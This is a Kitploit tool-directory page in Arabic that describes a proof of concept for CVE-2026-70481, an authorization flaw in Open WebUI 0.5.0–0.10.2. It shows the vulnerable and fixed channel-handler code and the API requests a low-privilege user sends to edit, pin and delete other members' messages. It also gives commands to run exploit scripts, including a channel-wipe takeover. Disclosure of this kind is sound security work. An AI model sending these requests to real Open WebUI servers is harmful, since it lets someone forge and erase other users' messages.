Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-70481 — إثبات مفهوم لاستغلال ثغرة تفويض في Open WebUI تتيح للمستخدمين ذوي الامتيازات المنخفضة تعديل وحذف رسائل قنوات الأعضاء الآخرين عبر استدعاءات API مُصمَّمة خصيصًا. | Kitploit
أدوات/GitHubGitHub/foxer131/cve-2026-70481
المصادقة والترخيصتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار أمان APIأمن الويباختبار الاختراق
GitHubfoxer131/cve-2026-70481

CVE-2026-70481

إثبات مفهوم لاستغلال ثغرة تفويض في Open WebUI تتيح للمستخدمين ذوي الامتيازات المنخفضة تعديل وحذف رسائل قنوات الأعضاء الآخرين عبر استدعاءات API مُصمَّمة خصيصًا.

عرض المستودع
منذ 16 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-70481

Open WebUI، الإصدارات المتأثرة من 0.5.0 إلى 0.10.2، تم إصلاح الثغرة في 0.11.0. الخطورة متوسطة، CVSS 5.4، CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L، CWE-284 وCWE-862.

في backend/open_webui/routers/channels.py، تتفرع معالجات تحديث الرسائل وحذفها بناءً على نوع القناة، ويطرح الفرعان سؤالين مختلفين. قنوات المجموعة والرسائل المباشرة تعتمد على المؤلف فقط.

root@kitploit:~
if channel.type in ['group', 'dm']:
    if not await Channels.is_user_channel_member(channel.id, user.id, db=db):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
    # Membership is not authorship — block cross-member edits.
    if user.role != 'admin' and message.user_id != user.id:
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
else:
    if (
        user.role != 'admin'
        and message.user_id != user.id
        and not await channel_has_access(user.id, channel, permission='write', strict=False, db=db)
    ):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())

فرع القناة القياسي يمنح الصلاحية بناءً على إذن الكتابة وحده، وإذن الكتابة هو بالضبط ما يتطلبه new_message_handler للنشر، لذا قُبِلت القدرة على التحدث كقدرة على إعادة الكتابة والحذف. يتم تحقيق channel_has_access بمنح خاص بالمستخدم أو بمنح عام، لذا فإن غرفة خاصة مع متعاون تتأثر مثل قناة مفتوحة. نموذج التحديث يربط content وdata وmeta بينما طبقة النموذج لا تلمس message.user_id أبدًا، لذا تحتفظ الرسالة المعدَّلة باسم المؤلف الأصلي.

الاستغلال يتم عبر ثلاث استدعاءات API عادية من حساب بسيط بدور user، ليس في أي مجموعة، ولا يملك شيئًا ولم يؤلف أي رسالة.

root@kitploit:~
POST   /api/v1/channels/<id>/messages/<victim_msg>/update
       {"content":"wire the funds to account 000",
        "data":{"attacker_injected":true},
        "meta":{"stored_payload":""}}   ->  200
POST   /api/v1/channels/<id>/messages/<victim_msg>/pin                           ->  200
DELETE /api/v1/channels/<id>/messages/<other_msg>/delete                         ->  200, true

الالتزام c609ec411 في 0.11.0 يقسّم الفحص: إذن الكتابة أولاً، ثم التأليف، مطابقًا لفرع المجموعة. يبقى التثبيت على مستوى الكتابة حسب التصميم.

root@kitploit:~
else:
    if user.role != 'admin' and not await channel_has_access(
        user.id, channel, permission='write', strict=False, db=db
    ):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
    # Write access is not authorship — block cross-member edits.
    if user.role != 'admin' and message.user_id != user.id:
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())

تشغيله

root@kitploit:~
docker run -d -p 3080:8080 -e WEBUI_SECRET_KEY=devkey -e ENABLE_SIGNUP=true \
  -e DEFAULT_USER_ROLE=user --name open-webui ghcr.io/open-webui/open-webui:0.10.2

python3 prep/lab_setup.py                    # administrator, no attack, writes lab.json
python3 exploit_channel_message_tamper.py    # attacker, plus read-only and group-channel controls
python3 exploit_channel_takeover.py --wipe   # attacker, full channel takeover

أعد التشغيل مقابل 0.10.2 في 4 أغسطس 2026. تحذف البرامج النصية رسائل الأعضاء الآخرين، لذا وجّهها فقط إلى مثيل محلي مؤقت.

المراجع

https://github.com/open-webui/open-webui/security/advisories/GHSA-mj5r-jf49-m3w7

https://www.cve.org/CVERecord?id=CVE-2026-70481

https://nvd.nist.gov/vuln/detail/CVE-2026-70481

تنزيل الأداة